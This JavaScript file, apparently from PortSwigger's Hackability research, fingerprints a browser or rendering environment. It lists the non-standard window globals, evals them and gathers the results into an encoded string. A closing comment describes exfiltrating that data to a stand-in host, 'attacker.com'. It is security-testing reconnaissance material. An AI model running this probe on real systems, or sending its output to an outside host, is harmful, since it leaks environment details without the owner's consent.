// Extracted from http://portswigger-labs.net/hackability/
// Credit: Gareth Heyes

function jsEnvironmentCheck(){
  var props = 'Inspector,AudioParamMap,AudioWorkletNode,CSSImageValue,CSSKeywordValue,CSSMathInvert,CSSMathMax,CSSMathMin,CSSMathNegate,CSSMathProduct,CSSMathSum,CSSMathValue,CSSMatrixComponent,CSSNumericArray,CSSNumericValue,CSSPerspective,CSSPositionValue,CSSRotate,CSSScale,CSSSkew,CSSSkewX,CSSSkewY,CSSStyleValue,CSSTransformComponent,CSSTransformValue,CSSTranslate,CSSUnitValue,CSSUnparsedValue,CSSVariableReferenceValue,MediaCapabilities,MediaCapabilitiesInfo,StylePropertyMap,StylePropertyMapReadOnly,WritableStreamDefaultWriter,WritableStreamDefaultController,MediaKeyStatusMapIterator,MSDSHEvent,MSDCCEvent,HeadersIterator,MediaRecorderErrorEvent,AbortSignal,AbortController,RTCRtpTransceiver,USBIsochronousOutTransferResult,visualViewport,onbeforeinstallprompt,onappinstalled,VisualViewport,USBOutTransferResult,USBIsochronousInTransferResult,USBIsochronousOutTransferPacket,USBIsochronousInTransferResult,USBIsochronousInTransferPacket,USBInterface,USBInTransferResult,USBEndpoint,USBDevice,USBConnectionEvent,USBConfiguration,USBAlternateInterface,USB,ResizeObserverEntry,ResizeObserver,PerformanceServerTiming,NetworkInformation,onmspointercancel,onmspointerup,onmspointerover,onmspointerout,onmspointermove,onmspointerleave,onmspointerenter,onmspointerdown,onfocusout,onfocusin,msSetImmediate,msRequestAnimationFrame,msMatchMedia,msIsStaticHTML,msIndexedDB,msCrypto,msClearImmediate,msCancelRequestAnimationFrame,msAnimationStartTime,animationStartTime,showModelessDialog,showHelp,navigate,item,execScript,detachEvent,createPopup,attachEvent,XDomainRequest,GetObject,AnonymousContent,controllers,watch,unwatch,toSource,toLocaleString,isPrototypeOf,constructor,__proto__,__lookupSetter__,__lookupGetter__,__defineSetter__,__defineGetter__,valueOf,propertyIsEnumerable,hasOwnProperty,TEMPORARY,PERSISTENT,addEventListener,removeEventListener,dispatchEvent,orientation,onorientationchange,ontouchcancel,ontouchend,ontouchmove,ontouchstart,BluetoothUUID,BluetoothRemoteGATTService,BluetoothRemoteGATTServer,BluetoothRemoteGATTDescriptor,BluetoothRemoteGATTCharacteristic,BluetoothDevice,BluetoothCharacteristicProperties,Bluetooth,NavigationPreloadManager,PresentationReceiver,PresentationConnectionList,PaymentResponse,PaymentRequestUpdateEvent,PaymentRequest,PaymentAddress,PhotoCapabilities,MediaSettingsRange,ImageCapture,BudgetService,RTCRtpContributingSource,WritableStream,PerformancePaintTiming,onmessageerror,clipboardData,maxConnectionsPerServer,onhelp,onanimationcancel,toStaticHTML,VRStageParameters,AnimationTimeline,AnimationEffectReadOnly,CSSPseudoElement,AnimationEffectTimingReadOnly,KeyframeEffectReadOnly,KeyframeEffect,CSSTransition,CSSAnimation,AnimationPlaybackEvent,AnimationEffectTiming,GamepadAxisMoveEvent,GamepadButtonEvent,DocumentTimeline,WebKitMediaKeyNeededEvent,OverconstrainedError,OverconstrainedErrorEvent,onwebkitwillrevealbottom,onwebkitwillrevealleft,onwebkitwillrevealright,onwebkitwillrevealtop,origin,Atomics,SharedArrayBuffer,StaticRange,safari,0,1,2,3,4,5,6,7,8,9,10,11,GamepadHapticActuator,GamepadPose,VRDisplay,VRDisplayCapabilities,VRDisplayEvent,VREyeParameters,VRFieldOfView,VRFrameData,VRPose,onvrdisplayactivate,onvrdisplayblur,onvrdisplayconnect,onvrdisplaydeactivate,onvrdisplaydisconnect,onvrdisplayfocus,onvrdisplaypointerrestricted,onvrdisplaypointerunrestricted,onvrdisplaypresentchange,ondragexit,onloadend,onselectstart,ontransitioncancel,ontransitionrun,ontransitionstart,RTCDTMFSender,FileSystem,FileSystemEntry,FileSystemFileEntry,FileSystemDirectoryReader,FileSystemDirectoryEntry,WebGL2RenderingContext,RemotePlayback,WebGLVertexArrayObject,RTCDataChannel,ConstantSourceNode,BaseAudioContext,AudioScheduledSourceNode,WebAssembly,TaskAttributionTiming,PerformanceLongTaskTiming,ongotpointercapture,onlostpointercapture,ANGLE_instanced_arrays,ActiveXObject,AesGcmEncryptResult,AnalyserNode,Animation,AnimationEvent,AppBannerPromptResult,ApplePaySession,ApplicationCache,ApplicationCacheErrorEvent,Array,ArrayBuffer,Attr,Audio,AudioBuffer,AudioBufferSourceNode,AudioContext,AudioDestinationNode,AudioListener,AudioNode,AudioParam,AudioProcessingEvent,AudioStreamTrack,AudioTrack,AudioTrackList,BarProp,BatteryManager,BeforeInstallPromptEvent,BeforeLoadEvent,BeforeUnloadEvent,BhxBrowser,BhxEvent,BhxFilteredEvent,BhxWebNavigation,BhxWebRequest,BiquadFilterNode,Blob,BlobEvent,BookmarkCollection,Boolean,BroadcastChannel,ByteLengthQueuingStrategy,CDATASection,CSS,CSS2Properties,CSSCharsetRule,CSSConditionRule,CSSCounterStyleRule,CSSFontFaceRule,CSSFontFeatureValuesRule,CSSGroupingRule,CSSImportRule,CSSKeyframeRule,CSSKeyframesRule,CSSMediaRule,CSSMozDocumentRule,CSSNameSpaceRule,CSSNamespaceRule,CSSPageRule,CSSPrimitiveValue,CSSRule,CSSRuleList,CSSStyleDeclaration,CSSStyleRule,CSSStyleSheet,CSSSupportsRule,CSSValue,CSSValueList,CSSViewportRule,Cache,CacheStorage,CanvasCaptureMediaStream,CanvasCaptureMediaStreamTrack,CanvasGradient,CanvasPattern,CanvasPixelArray,CanvasRenderingContext2D,CaretPosition,ChannelMergerNode,ChannelSplitterNode,CharacterData,ClientRect,ClientRectList,ClipboardEvent,CloseEvent,CollectGarbage,CommandEvent,Comment,CompositionEvent,Console,ControlRangeCollection,Controllers,ConvolverNode,Coordinates,CountQueuingStrategy,Counter,Credential,CredentialsContainer,Crypto,CryptoKey,CryptoKeyPair,CryptoOperation,CustomElementRegistry,CustomEvent,DOMCursor,DOMError,DOMException,DOMImplementation,DOMMatrix,DOMMatrixReadOnly,DOMParser,DOMPoint,DOMPointReadOnly,DOMQuad,DOMRect,DOMRectList,DOMRectReadOnly,DOMRequest,DOMSettableTokenList,DOMStringList,DOMStringMap,DOMTokenList,DOMTransactionEvent,DataChannel,DataCue,DataTransfer,DataTransferItem,DataTransferItemList,DataView,Database,Date,Debug,DelayNode,DesktopNotification,DesktopNotificationCenter,DeviceAcceleration,DeviceLightEvent,DeviceMotionEvent,DeviceOrientationEvent,DeviceProximityEvent,DeviceRotationRate,Directory,Document,DocumentFragment,DocumentType,DragEvent,DynamicsCompressorNode,EXT_frag_depth,EXT_texture_filter_anisotropic,Element,Enumerator,Error,ErrorEvent,EvalError,Event,EventException,EventSource,EventTarget,External,FederatedCredential,File,FileError,FileList,FileReader,Float32Array,Float64Array,FocusEvent,FontFace,FontFaceSet,FontFaceSetLoadEvent,FormData,Function,GainNode,Gamepad,GamepadButton,GamepadEvent,Geolocation,GestureEvent,HTMLAllCollection,HTMLAnchorElement,HTMLAppletElement,HTMLAreaElement,HTMLAreasCollection,HTMLAttachmentElement,HTMLAudioElement,HTMLBGSoundElement,HTMLBRElement,HTMLBaseElement,HTMLBaseFontElement,HTMLBlockElement,HTMLBodyElement,HTMLButtonElement,HTMLCanvasElement,HTMLCollection,HTMLContentElement,HTMLDDElement,HTMLDListElement,HTMLDTElement,HTMLDataElement,HTMLDataListElement,HTMLDetailsElement,HTMLDialogElement,HTMLDirectoryElement,HTMLDivElement,HTMLDocument,HTMLElement,HTMLEmbedElement,HTMLFieldSetElement,HTMLFontElement,HTMLFormControlsCollection,HTMLFormElement,HTMLFrameElement,HTMLFrameSetElement,HTMLHRElement,HTMLHeadElement,HTMLHeadingElement,HTMLHtmlElement,HTMLIFrameElement,HTMLImageElement,HTMLInputElement,HTMLIsIndexElement,HTMLKeygenElement,HTMLLIElement,HTMLLabelElement,HTMLLegendElement,HTMLLinkElement,HTMLMapElement,HTMLMarqueeElement,HTMLMediaElement,HTMLMenuElement,HTMLMenuItemElement,HTMLMetaElement,HTMLMeterElement,HTMLModElement,HTMLNextIdElement,HTMLOListElement,HTMLObjectElement,HTMLOptGroupElement,HTMLOptionElement,HTMLOptionsCollection,HTMLOutputElement,HTMLParagraphElement,HTMLParamElement,HTMLPhraseElement,HTMLPictureElement,HTMLPreElement,HTMLProgressElement,HTMLQuoteElement,HTMLScriptElement,HTMLSelectElement,HTMLShadowElement,HTMLSlotElement,HTMLSourceElement,HTMLSpanElement,HTMLStyleElement,HTMLTableCaptionElement,HTMLTableCellElement,HTMLTableColElement,HTMLTableDataCellElement,HTMLTableElement,HTMLTableHeaderCellElement,HTMLTableRowElement,HTMLTableSectionElement,HTMLTemplateElement,HTMLTextAreaElement,HTMLTimeElement,HTMLTitleElement,HTMLTrackElement,HTMLUListElement,HTMLUnknownElement,HTMLVideoElement,HashChangeEvent,Headers,History,IDBCursor,IDBCursorWithValue,IDBDatabase,IDBFactory,IDBFileHandle,IDBFileRequest,IDBIndex,IDBKeyRange,IDBMutableFile,IDBObjectStore,IDBOpenDBRequest,IDBRequest,IDBTransaction,IDBVersionChangeEvent,IIRFilterNode,IdleDeadline,Image,ImageBitmap,ImageBitmapRenderingContext,ImageData,Infinity,InputDeviceCapabilities,InputEvent,InstallTrigger,Int16Array,Int32Array,Int8Array,InternalError,IntersectionObserver,IntersectionObserverEntry,Intl,Iterator,JSON,Key,KeyEvent,KeyOperation,KeyPair,KeyboardEvent,LocalMediaStream,Location,MIDIAccess,MIDIConnectionEvent,MIDIInput,MIDIInputMap,MIDIMessageEvent,MIDIOutput,MIDIOutputMap,MIDIPort,MSAssertion,MSBehaviorUrnsCollection,MSBlobBuilder,MSCSSMatrix,MSCSSProperties,MSCSSRuleList,MSCompatibleInfo,MSCompatibleInfoCollection,MSCredentials,MSCurrentStyleCSSProperties,MSEventObj,MSFIDOCredentialAssertion,MSFIDOSignature,MSFIDOSignatureAssertion,MSGesture,MSGestureEvent,MSGraphicsTrust,MSInputMethodContext,MSManipulationEvent,MSMediaKeyError,MSMediaKeyMessageEvent,MSMediaKeyNeededEvent,MSMediaKeySession,MSMediaKeys,MSMimeTypesCollection,MSPluginsCollection,MSPointerEvent,MSRangeCollection,MSSiteModeEvent,MSStream,MSStreamReader,MSStyleCSSProperties,Map,Math,MediaController,MediaDeviceInfo,MediaDevices,MediaElementAudioSourceNode,MediaEncryptedEvent,MediaError,MediaKeyError,MediaKeyEvent,MediaKeyMessageEvent,MediaKeyNeededEvent,MediaKeySession,MediaKeyStatusMap,MediaKeySystemAccess,MediaKeys,MediaList,MediaQueryList,MediaQueryListEvent,MediaRecorder,MediaSource,MediaStream,MediaStreamAudioDestinationNode,MediaStreamAudioSourceNode,MediaStreamError,MediaStreamErrorEvent,MediaStreamEvent,MediaStreamTrack,MediaStreamTrackEvent,MessageChannel,MessageEvent,MessagePort,MimeType,MimeTypeArray,MouseEvent,MouseScrollEvent,MouseWheelEvent,MutationEvent,MutationObserver,MutationRecord,NaN,NamedNodeMap,Navigator,Node,NodeFilter,NodeIterator,NodeList,Notification,NotifyPaintEvent,Number,OES_element_index_uint,OES_standard_derivatives,OES_texture_float,OES_texture_float_linear,OES_texture_half_float,OES_texture_half_float_linear,Object,OfflineAudioCompletionEvent,OfflineAudioContext,OfflineResourceList,Option,OscillatorNode,OverflowEvent,PageTransitionEvent,PaintRequest,PaintRequestList,PannerNode,PasswordCredential,Path2D,Performance,PerformanceEntry,PerformanceMark,PerformanceMeasure,PerformanceNavigation,PerformanceNavigationTiming,PerformanceObserver,PerformanceObserverEntryList,PerformanceResourceTiming,PerformanceTiming,PeriodicWave,PermissionStatus,Permissions,Plugin,PluginArray,PointerEvent,PopStateEvent,PopupBlockedEvent,Position,PositionError,Presentation,PresentationAvailability,PresentationConnection,PresentationConnectionAvailableEvent,PresentationConnectionCloseEvent,PresentationRequest,ProcessingInstruction,ProgressEvent,Promise,PromiseRejectionEvent,Proxy,PushManager,PushSubscription,PushSubscriptionOptions,RGBColor,RTCCertificate,RTCDTMFToneChangeEvent,RTCDataChannelEvent,RTCDtlsTransport,RTCDtlsTransportStateChangedEvent,RTCDtmfSender,RTCIceCandidate,RTCIceCandidatePairChangedEvent,RTCIceGatherer,RTCIceGathererEvent,RTCIceTransport,RTCIceTransportStateChangedEvent,RTCPeerConnection,RTCPeerConnectionIceEvent,RTCRtpReceiver,RTCRtpSender,RTCSessionDescription,RTCSrtpSdesTransport,RTCSsrcConflictEvent,RTCStatsProvider,RTCStatsReport,RTCTrackEvent,RadioNodeList,Range,RangeError,RangeException,ReadableStream,ReadableStreamReader,RecordErrorEvent,Rect,ReferenceError,Reflect,RegExp,Request,Response,SQLError,SQLException,SQLResultSet,SQLResultSetRowList,SQLTransaction,SVGAElement,SVGAltGlyphDefElement,SVGAltGlyphElement,SVGAltGlyphItemElement,SVGAngle,SVGAnimateColorElement,SVGAnimateElement,SVGAnimateMotionElement,SVGAnimateTransformElement,SVGAnimatedAngle,SVGAnimatedBoolean,SVGAnimatedEnumeration,SVGAnimatedInteger,SVGAnimatedLength,SVGAnimatedLengthList,SVGAnimatedNumber,SVGAnimatedNumberList,SVGAnimatedPreserveAspectRatio,SVGAnimatedRect,SVGAnimatedString,SVGAnimatedTransformList,SVGAnimationElement,SVGCircleElement,SVGClipPathElement,SVGColor,SVGComponentTransferFunctionElement,SVGCursorElement,SVGDefsElement,SVGDescElement,SVGDiscardElement,SVGDocument,SVGElement,SVGElementInstance,SVGElementInstanceList,SVGEllipseElement,SVGException,SVGFEBlendElement,SVGFEColorMatrixElement,SVGFEComponentTransferElement,SVGFECompositeElement,SVGFEConvolveMatrixElement,SVGFEDiffuseLightingElement,SVGFEDisplacementMapElement,SVGFEDistantLightElement,SVGFEDropShadowElement,SVGFEFloodElement,SVGFEFuncAElement,SVGFEFuncBElement,SVGFEFuncGElement,SVGFEFuncRElement,SVGFEGaussianBlurElement,SVGFEImageElement,SVGFEMergeElement,SVGFEMergeNodeElement,SVGFEMorphologyElement,SVGFEOffsetElement,SVGFEPointLightElement,SVGFESpecularLightingElement,SVGFESpotLightElement,SVGFETileElement,SVGFETurbulenceElement,SVGFilterElement,SVGFontElement,SVGFontFaceElement,SVGFontFaceFormatElement,SVGFontFaceNameElement,SVGFontFaceSrcElement,SVGFontFaceUriElement,SVGForeignObjectElement,SVGGElement,SVGGeometryElement,SVGGlyphElement,SVGGlyphRefElement,SVGGradientElement,SVGGraphicsElement,SVGHKernElement,SVGImageElement,SVGLength,SVGLengthList,SVGLineElement,SVGLinearGradientElement,SVGMPathElement,SVGMarkerElement,SVGMaskElement,SVGMatrix,SVGMetadataElement,SVGMissingGlyphElement,SVGNumber,SVGNumberList,SVGPaint,SVGPathElement,SVGPathSeg,SVGPathSegArcAbs,SVGPathSegArcRel,SVGPathSegClosePath,SVGPathSegCurvetoCubicAbs,SVGPathSegCurvetoCubicRel,SVGPathSegCurvetoCubicSmoothAbs,SVGPathSegCurvetoCubicSmoothRel,SVGPathSegCurvetoQuadraticAbs,SVGPathSegCurvetoQuadraticRel,SVGPathSegCurvetoQuadraticSmoothAbs,SVGPathSegCurvetoQuadraticSmoothRel,SVGPathSegLinetoAbs,SVGPathSegLinetoHorizontalAbs,SVGPathSegLinetoHorizontalRel,SVGPathSegLinetoRel,SVGPathSegLinetoVerticalAbs,SVGPathSegLinetoVerticalRel,SVGPathSegList,SVGPathSegMovetoAbs,SVGPathSegMovetoRel,SVGPatternElement,SVGPoint,SVGPointList,SVGPolygonElement,SVGPolylineElement,SVGPreserveAspectRatio,SVGRadialGradientElement,SVGRect,SVGRectElement,SVGRenderingIntent,SVGSVGElement,SVGScriptElement,SVGSetElement,SVGStopElement,SVGStringList,SVGStyleElement,SVGSwitchElement,SVGSymbolElement,SVGTRefElement,SVGTSpanElement,SVGTextContentElement,SVGTextElement,SVGTextPathElement,SVGTextPositioningElement,SVGTitleElement,SVGTransform,SVGTransformList,SVGUnitTypes,SVGUseElement,SVGVKernElement,SVGViewElement,SVGViewSpec,SVGZoomAndPan,SVGZoomEvent,Screen,ScreenOrientation,ScriptEngine,ScriptEngineBuildVersion,ScriptEngineMajorVersion,ScriptEngineMinorVersion,ScriptProcessorNode,ScrollAreaEvent,SecurityPolicyViolationEvent,Selection,ServiceWorker,ServiceWorkerContainer,ServiceWorkerMessageEvent,ServiceWorkerRegistration,Set,ShadowRoot,SharedWorker,SimpleGestureEvent,SiteBoundCredential,SourceBuffer,SourceBufferList,SpeechSynthesis,SpeechSynthesisErrorEvent,SpeechSynthesisEvent,SpeechSynthesisUtterance,SpeechSynthesisVoice,StereoPannerNode,StopIteration,Storage,StorageEvent,StorageManager,String,StyleMedia,StyleSheet,StyleSheetList,StyleSheetPageList,SubtleCrypto,Symbol,SyncManager,SyntaxError,Text,TextDecoder,TextEncoder,TextEvent,TextMetrics,TextRange,TextRangeCollection,TextTrack,TextTrackCue,TextTrackCueList,TextTrackList,TimeEvent,TimeRanges,Touch,TouchEvent,TouchList,TrackEvent,TransitionEvent,TreeWalker,TypeError,UIEvent,URIError,URL,URLSearchParams,Uint16Array,Uint32Array,Uint8Array,Uint8ClampedArray,UserMessageHandler,UserMessageHandlersNamespace,UserProximityEvent,VBArray,VTTCue,VTTRegion,ValidityState,VideoPlaybackQuality,VideoStreamTrack,VideoTrack,VideoTrackList,WEBGL_compressed_texture_s3tc,WEBGL_debug_renderer_info,WEBGL_depth_texture,WaveShaperNode,WeakMap,WeakSet,WebGLActiveInfo,WebGLBuffer,WebGLContextEvent,WebGLFramebuffer,WebGLObject,WebGLProgram,WebGLQuery,WebGLRenderbuffer,WebGLRenderingContext,WebGLSampler,WebGLShader,WebGLShaderPrecisionFormat,WebGLSync,WebGLTexture,WebGLTransformFeedback,WebGLUniformLocation,WebKitAnimationEvent,WebKitCSSFilterValue,WebKitCSSMatrix,WebKitCSSRegionRule,WebKitCSSTransformValue,WebKitDataCue,WebKitDirectoryEntry,WebKitDirectoryReader,WebKitEntry,WebKitFileEntry,WebKitFileSystem,WebKitMediaKeyError,WebKitMediaKeyMessageEvent,WebKitMediaKeySession,WebKitMediaKeys,WebKitMutationObserver,WebKitNamespace,WebKitPlaybackTargetAvailabilityEvent,WebKitPoint,WebKitTransitionEvent,WebSocket,WheelEvent,Window,Worker,XMLDocument,XMLHttpRequest,XMLHttpRequestEventTarget,XMLHttpRequestProgressEvent,XMLHttpRequestUpload,XMLSerializer,XMLStylesheetProcessingInstruction,XPathEvaluator,XPathException,XPathExpression,XPathNSResolver,XPathResult,XSLTProcessor,alert,applicationCache,atob,blur,btoa,caches,cancelAnimationFrame,cancelIdleCallback,captureEvents,chrome,clearImmediate,clearInterval,clearTimeout,clientInformation,close,closed,confirm,console,content,createImageBitmap,crypto,customElements,decodeURI,decodeURIComponent,defaultStatus,defaultstatus,devicePixelRatio,doNotTrack,document,dump,encodeURI,encodeURIComponent,escape,eval,event,external,fetch,find,focus,frameElement,frames,fullScreen,getComputedStyle,getDefaultComputedStyle,getMatchedCSSRules,getSelection,history,indexedDB,innerHeight,innerWidth,isFinite,isNaN,isSecureContext,localStorage,location,locationbar,matchMedia,menubar,moveBy,moveTo,mozInnerScreenX,mozInnerScreenY,mozPaintCount,mozRTCIceCandidate,mozRTCPeerConnection,mozRTCSessionDescription,msCredentials,msWriteProfilerMark,name,navigator,netscape,offscreenBuffering,onabort,onabsolutedeviceorientation,onafterprint,onanimationend,onanimationiteration,onanimationstart,onauxclick,onbeforeprint,onbeforeunload,onblur,oncancel,oncanplay,oncanplaythrough,onchange,onclick,onclose,oncompassneedscalibration,oncontextmenu,oncuechange,ondblclick,ondevicelight,ondevicemotion,ondeviceorientation,ondeviceorientationabsolute,ondeviceproximity,ondrag,ondragend,ondragenter,ondragleave,ondragover,ondragstart,ondrop,ondurationchange,onemptied,onended,onerror,onfocus,onhashchange,oninput,oninvalid,onkeydown,onkeypress,onkeyup,onlanguagechange,onload,onloadeddata,onloadedmetadata,onloadstart,onmessage,onmousedown,onmouseenter,onmouseleave,onmousemove,onmouseout,onmouseover,onmouseup,onmousewheel,onmozfullscreenchange,onmozfullscreenerror,onmsgesturechange,onmsgesturedoubletap,onmsgestureend,onmsgesturehold,onmsgesturestart,onmsgesturetap,onmsinertiastart,onoffline,ononline,onpagehide,onpageshow,onpause,onplay,onplaying,onpointercancel,onpointerdown,onpointerenter,onpointerleave,onpointermove,onpointerout,onpointerover,onpointerup,onpopstate,onprogress,onratechange,onreadystatechange,onrejectionhandled,onreset,onresize,onscroll,onsearch,onseeked,onseeking,onselect,onshow,onstalled,onstorage,onsubmit,onsuspend,ontimeupdate,ontoggle,ontransitionend,onunhandledrejection,onunload,onuserproximity,onvolumechange,onwaiting,onwebkitanimationend,onwebkitanimationiteration,onwebkitanimationstart,onwebkitmouseforcechanged,onwebkitmouseforcedown,onwebkitmouseforceup,onwebkitmouseforcewillbegin,onwebkittransitionend,onwheel,open,openDatabase,opener,outerHeight,outerWidth,pageXOffset,pageYOffset,parent,parseFloat,parseInt,performance,personalbar,postMessage,print,prompt,releaseEvents,requestAnimationFrame,requestIdleCallback,resizeBy,resizeTo,screen,screenLeft,screenTop,screenX,screenY,scroll,scrollBy,scrollByLines,scrollByPages,scrollMaxX,scrollMaxY,scrollTo,scrollX,scrollY,scrollbars,self,sessionStorage,setImmediate,setInterval,setResizable,setTimeout,showModalDialog,sidebar,sizeToContent,speechSynthesis,status,statusbar,stop,styleMedia,toString,toolbar,top,undefined,unescape,uneval,updateCommands,webkitAudioContext,webkitAudioPannerNode,webkitCancelAnimationFrame,webkitCancelRequestAnimationFrame,webkitConvertPointFromNodeToPage,webkitConvertPointFromPageToNode,webkitIDBCursor,webkitIDBDatabase,webkitIDBFactory,webkitIDBIndex,webkitIDBKeyRange,webkitIDBObjectStore,webkitIDBRequest,webkitIDBTransaction,webkitIndexedDB,webkitMediaStream,webkitNotifications,webkitOfflineAudioContext,webkitRTCPeerConnection,webkitRequestAnimationFrame,webkitRequestFileSystem,webkitResolveLocalFileSystemURL,webkitSpeechGrammar,webkitSpeechGrammarList,webkitSpeechRecognition,webkitSpeechRecognitionError,webkitSpeechRecognitionEvent,webkitStorageInfo,webkitURL,window,length'.split(',').sort(),
    foundProps = Object.getOwnPropertyNames(window), i, j, diff = [], found;
    props = props.concat(['jsEnvironmentCheck','listProps','diff']);  // do not account these as we just defined them
    for(i=0;i<foundProps.length;i++) {
    	found = false;
    	for(j=0;j<props.length;j++) {
    		if(foundProps[i] === props[j]) {
    			found = true;
    			break;
    		}
    	}
    	if(!found) {
    		diff.push(foundProps[i]);
    	}
    }

    if(diff.length) {
      // print differences in console
      console.log("JavaScript Environment Difference: "+diff.join(','));
      var win=window.open('about:blank', '_blank');
      win.document.writeln('<plaintext>');
      diff.forEach(function(i){
        var x;
        try{x=eval(i)}
        catch(e){x=i}
        win.document.writeln(i.toString() + ' => ' + x + "\n");
      });
      // win.document.writeln('</plaintext>'); 
    }
    return diff;  // for further uses
}

// list properties of an Object
function listProps(prop){
    var diff = '';
    for(var i in prop){
      if(prop.hasOwnProperty(i)){
        if('object' === typeof(prop[i])) listProps(prop[i]);
        else diff+=i + ' => ' + prop[i] + '\n';
      }
    }
    return(diff);
}

var diff = '';
jsEnvironmentCheck().forEach(function(i){
  var x;
  if("object" === typeof(i)){
    x = listProps(i)
  }
  else{
    try{x=eval(i)}
    catch(e){x=i}
  }
  diff += encodeURIComponent(i.toString() + ' => ' + x + '\n');
});

jsEnvironmentCheck();
/* To exfiltrate diff to your domain: ?url=http://attacker.com/ */
